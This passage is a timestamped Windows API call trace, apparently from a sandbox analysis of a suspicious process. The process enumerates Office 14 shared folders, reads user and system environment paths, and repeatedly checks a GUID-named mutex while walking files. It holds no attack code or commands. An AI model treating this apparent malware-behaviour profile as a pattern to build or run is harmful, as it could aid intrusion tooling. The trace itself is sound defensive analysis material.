ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0047.283] GetLastError () returned 0x2 [0047.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⤼R企@\x18?T\x18\x81")) returned 0xffffffff [0047.283] GetLastError () returned 0x2 [0047.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⎌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.283] GetLastError () returned 0x2 [0047.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.283] GetLastError () returned 0x2 [0047.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="♔R䱠@⤼R企@\x18?T\x18\x97")) returned 0xffffffff [0047.283] GetLastError () returned 0x2 [0047.283] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.283] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.283] GlobalUnlock (hMem=0x44000c) returned 0 [0047.283] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.284] GlobalLock (hMem=0x440004) returned 0x552180 [0047.284] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.284] GlobalUnlock (hMem=0x44000c) returned 0 [0047.284] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.284] GlobalUnlock (hMem=0x440004) returned 0 [0047.284] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.284] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.284] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.284] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 46 [0047.284] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.284] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 15 [0047.284] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.284] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵\x16\x18?\x18\x02") returned 11 [0047.284] GlobalLock (hMem=0x440004) returned 0x550170 [0047.284] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.284] GlobalUnlock (hMem=0x440004) returned 0 [0047.284] GlobalLock (hMem=0x440004) returned 0x550170 [0047.284] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.284] GlobalHandle (pMem=0x550170) returned 0x440004 [0047.284] GlobalUnlock (hMem=0x440004) returned 0 [0047.284] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.284] GlobalUnlock (hMem=0x44000c) returned 0 [0047.284] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.284] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.284] GlobalUnlock (hMem=0x44000c) returned 0 [0047.284] GlobalLock (hMem=0x44000c) returned 0x550170 [0047.284] GlobalLock (hMem=0x440004) returned 0x552180 [0047.284] GlobalHandle (pMem=0x550170) returned 0x44000c [0047.285] GlobalUnlock (hMem=0x44000c) returned 0 [0047.285] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.285] GlobalUnlock (hMem=0x440004) returned 0 [0047.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0047.285] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.285] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0047.285] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0047.285] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0047.285] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.285] GlobalLock (hMem=0x440004) returned 0x551178 [0047.285] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.285] GlobalUnlock (hMem=0x440004) returned 0 [0047.285] GlobalLock (hMem=0x440004) returned 0x551178 [0047.285] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.285] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.285] GlobalUnlock (hMem=0x440004) returned 0 [0047.285] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.285] GlobalUnlock (hMem=0x44000c) returned 0 [0047.285] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.285] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.285] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.285] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.285] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.285] GlobalUnlock (hMem=0x44000c) returned 0 [0047.286] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.286] GlobalLock (hMem=0x440004) returned 0x553188 [0047.286] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.286] GlobalUnlock (hMem=0x44000c) returned 0 [0047.286] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.286] GlobalUnlock (hMem=0x440004) returned 0 [0047.286] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.286] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.286] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.286] GlobalLock (hMem=0x440004) returned 0x551178 [0047.286] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.286] GlobalUnlock (hMem=0x440004) returned 0 [0047.286] GlobalLock (hMem=0x440004) returned 0x551178 [0047.286] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.286] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.286] GlobalUnlock (hMem=0x440004) returned 0 [0047.286] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.286] GlobalUnlock (hMem=0x44000c) returned 0 [0047.286] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.286] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.286] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.287] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.287] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.287] GlobalUnlock (hMem=0x44000c) returned 0 [0047.287] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.287] GlobalLock (hMem=0x440004) returned 0x553188 [0047.287] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.287] GlobalUnlock (hMem=0x44000c) returned 0 [0047.287] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.287] GlobalUnlock (hMem=0x440004) returned 0 [0047.287] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.287] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.287] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.287] GlobalLock (hMem=0x440004) returned 0x551178 [0047.287] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.287] GlobalUnlock (hMem=0x440004) returned 0 [0047.287] GlobalLock (hMem=0x440004) returned 0x551178 [0047.287] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.287] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.287] GlobalUnlock (hMem=0x440004) returned 0 [0047.287] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.287] GlobalUnlock (hMem=0x44000c) returned 0 [0047.287] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.287] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.287] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.287] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.287] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.287] GlobalUnlock (hMem=0x44000c) returned 0 [0047.287] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.287] GlobalLock (hMem=0x440004) returned 0x553188 [0047.288] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.288] GlobalUnlock (hMem=0x44000c) returned 0 [0047.288] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.288] GlobalUnlock (hMem=0x440004) returned 0 [0047.288] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.288] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.288] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.288] GlobalLock (hMem=0x440004) returned 0x551178 [0047.288] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.288] GlobalUnlock (hMem=0x440004) returned 0 [0047.288] GlobalLock (hMem=0x440004) returned 0x551178 [0047.288] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.288] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.288] GlobalUnlock (hMem=0x440004) returned 0 [0047.288] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.288] GlobalUnlock (hMem=0x44000c) returned 0 [0047.288] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.288] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.288] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.288] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.288] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.288] GlobalUnlock (hMem=0x44000c) returned 0 [0047.288] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.288] GlobalLock (hMem=0x440004) returned 0x553188 [0047.288] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.288] GlobalUnlock (hMem=0x44000c) returned 0 [0047.288] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.288] GlobalUnlock (hMem=0x440004) returned 0 [0047.289] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.289] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.289] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.289] GlobalLock (hMem=0x440004) returned 0x551178 [0047.289] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.289] GlobalUnlock (hMem=0x440004) returned 0 [0047.289] GlobalLock (hMem=0x440004) returned 0x551178 [0047.289] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.289] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.289] GlobalUnlock (hMem=0x440004) returned 0 [0047.289] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.289] GlobalUnlock (hMem=0x44000c) returned 0 [0047.289] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.289] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.289] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.289] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.289] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.289] GlobalUnlock (hMem=0x44000c) returned 0 [0047.289] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.289] GlobalLock (hMem=0x440004) returned 0x553188 [0047.289] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.289] GlobalUnlock (hMem=0x44000c) returned 0 [0047.289] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.289] GlobalUnlock (hMem=0x440004) returned 0 [0047.289] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.289] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.290] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.290] GlobalLock (hMem=0x440004) returned 0x551178 [0047.290] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.290] GlobalUnlock (hMem=0x440004) returned 0 [0047.290] GlobalLock (hMem=0x440004) returned 0x551178 [0047.290] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.290] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.290] GlobalUnlock (hMem=0x440004) returned 0 [0047.290] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.290] GlobalUnlock (hMem=0x44000c) returned 0 [0047.290] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.290] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.290] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.290] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.290] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.290] GlobalUnlock (hMem=0x44000c) returned 0 [0047.290] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.290] GlobalLock (hMem=0x440004) returned 0x553188 [0047.290] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.290] GlobalUnlock (hMem=0x44000c) returned 0 [0047.290] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.290] GlobalUnlock (hMem=0x440004) returned 0 [0047.290] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.290] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.290] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.290] GlobalLock (hMem=0x440004) returned 0x551178 [0047.290] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.290] GlobalUnlock (hMem=0x440004) returned 0 [0047.290] GlobalLock (hMem=0x440004) returned 0x551178 [0047.291] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.291] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.291] GlobalUnlock (hMem=0x440004) returned 0 [0047.291] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.291] GlobalUnlock (hMem=0x44000c) returned 0 [0047.291] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.291] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.291] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.291] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.291] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.291] GlobalUnlock (hMem=0x44000c) returned 0 [0047.291] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.291] GlobalLock (hMem=0x440004) returned 0x553188 [0047.291] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.291] GlobalUnlock (hMem=0x44000c) returned 0 [0047.291] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.291] GlobalUnlock (hMem=0x440004) returned 0 [0047.291] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.291] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.291] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.291] GlobalLock (hMem=0x440004) returned 0x551178 [0047.291] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.291] GlobalUnlock (hMem=0x440004) returned 0 [0047.291] GlobalLock (hMem=0x440004) returned 0x551178 [0047.291] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.291] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.291] GlobalUnlock (hMem=0x440004) returned 0 [0047.291] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.291] GlobalUnlock (hMem=0x44000c) returned 0 [0047.291] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.292] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.292] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.292] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.292] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.292] GlobalUnlock (hMem=0x44000c) returned 0 [0047.292] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.292] GlobalLock (hMem=0x440004) returned 0x553188 [0047.292] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.292] GlobalUnlock (hMem=0x44000c) returned 0 [0047.292] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.292] GlobalUnlock (hMem=0x440004) returned 0 [0047.292] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.292] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.292] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.292] GlobalLock (hMem=0x440004) returned 0x551178 [0047.292] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.292] GlobalUnlock (hMem=0x440004) returned 0 [0047.292] GlobalLock (hMem=0x440004) returned 0x551178 [0047.292] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.292] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.292] GlobalUnlock (hMem=0x440004) returned 0 [0047.292] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.292] GlobalUnlock (hMem=0x44000c) returned 0 [0047.292] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.292] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.292] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.292] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.292] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.292] GlobalUnlock (hMem=0x44000c) returned 0 [0047.292] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.292] GlobalLock (hMem=0x440004) returned 0x553188 [0047.293] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.293] GlobalUnlock (hMem=0x44000c) returned 0 [0047.293] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.293] GlobalUnlock (hMem=0x440004) returned 0 [0047.293] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.293] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.293] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.293] GlobalLock (hMem=0x440004) returned 0x551178 [0047.293] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.293] GlobalUnlock (hMem=0x440004) returned 0 [0047.293] GlobalLock (hMem=0x440004) returned 0x551178 [0047.293] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.293] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.293] GlobalUnlock (hMem=0x440004) returned 0 [0047.293] GlobalHandle (pMem=0x553188) returned 0x44000c 